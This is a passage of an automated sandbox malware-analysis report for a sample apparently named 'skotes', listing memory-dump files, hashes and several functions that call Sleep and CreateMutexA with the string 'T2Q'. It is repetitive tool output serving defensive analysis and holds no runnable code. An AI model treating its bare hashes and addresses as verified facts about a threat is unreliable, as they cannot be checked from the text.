Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 53bf0f0360a77a6033a84abd29774d4dee780a742e83e5df88989ab807165f13
Instruction ID: 1b82220747982db8cee277445cb0ea56b99a9f50687120e71f8c35eb3e282459
Opcode Fuzzy Hash: 53bf0f0360a77a6033a84abd29774d4dee780a742e83e5df88989ab807165f13
Instruction Fuzzy Hash: 6F31F571B001009BEB18EB6CCD89BEDB7A2DB86314F24461EE014973D5C77D59A1863B

Function 004BA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 726e8dff4ba48cb3e24857db4a936b36d9e39433584c40483ddf0ce14df99710
Instruction ID: 8504c77c9fc0a9c64eaa93986f3b02fd499daf38451853a90267082659e94e6d
Opcode Fuzzy Hash: 726e8dff4ba48cb3e24857db4a936b36d9e39433584c40483ddf0ce14df99710
Instruction Fuzzy Hash: 2E311871B001409BFB08DB6CDD89BEDB7A2EB86314F24461EE014973D1D77E5991863B

Function 004BA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: cdf4f231323006c022fa717247476caddcf169988f23994b316667e0faaf26b0
Instruction ID: aedcff76c2e0e40f5178f13f87fc2b3c6734b4dd3d2a6e15f635ec3959abc70f
Opcode Fuzzy Hash: cdf4f231323006c022fa717247476caddcf169988f23994b316667e0faaf26b0
Instruction Fuzzy Hash: 66316871B001009BEB08EB78CD89BEDB7A2EF86318F24462EE014973D5C77D5991863B

Function 004BA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: afcbc510fd88b0c9b543a3f897fda6daa0aa9c63d3bb024626b7c9c180f83c2d
Instruction ID: d20bf40b7f93928c1a3c5a5fcde0312fc2c22faac41204064fecd8c85f7ddaa5
Opcode Fuzzy Hash: afcbc510fd88b0c9b543a3f897fda6daa0aa9c63d3bb024626b7c9c180f83c2d
Instruction Fuzzy Hash: BC313971B001009BEB18EB7CCD89BEDB762EB86318F24461EE054973D1CB3D9991963A

Function 004BA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 6347ce6044bf58e8de1a1b3f2972f1e261a48335be53d2ce981c8aa36d892e9a
Instruction ID: 57c99e771b99a3a5e6def6f5b5f60108fde487380cb9aaa17f03f1b6f176320d
Opcode Fuzzy Hash: 6347ce6044bf58e8de1a1b3f2972f1e261a48335be53d2ce981c8aa36d892e9a
Instruction Fuzzy Hash: B83129717041009BEB18DB78CD89BEDB762DB86314F24861EE014973D1CB7D99A1867A

Function 004B9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

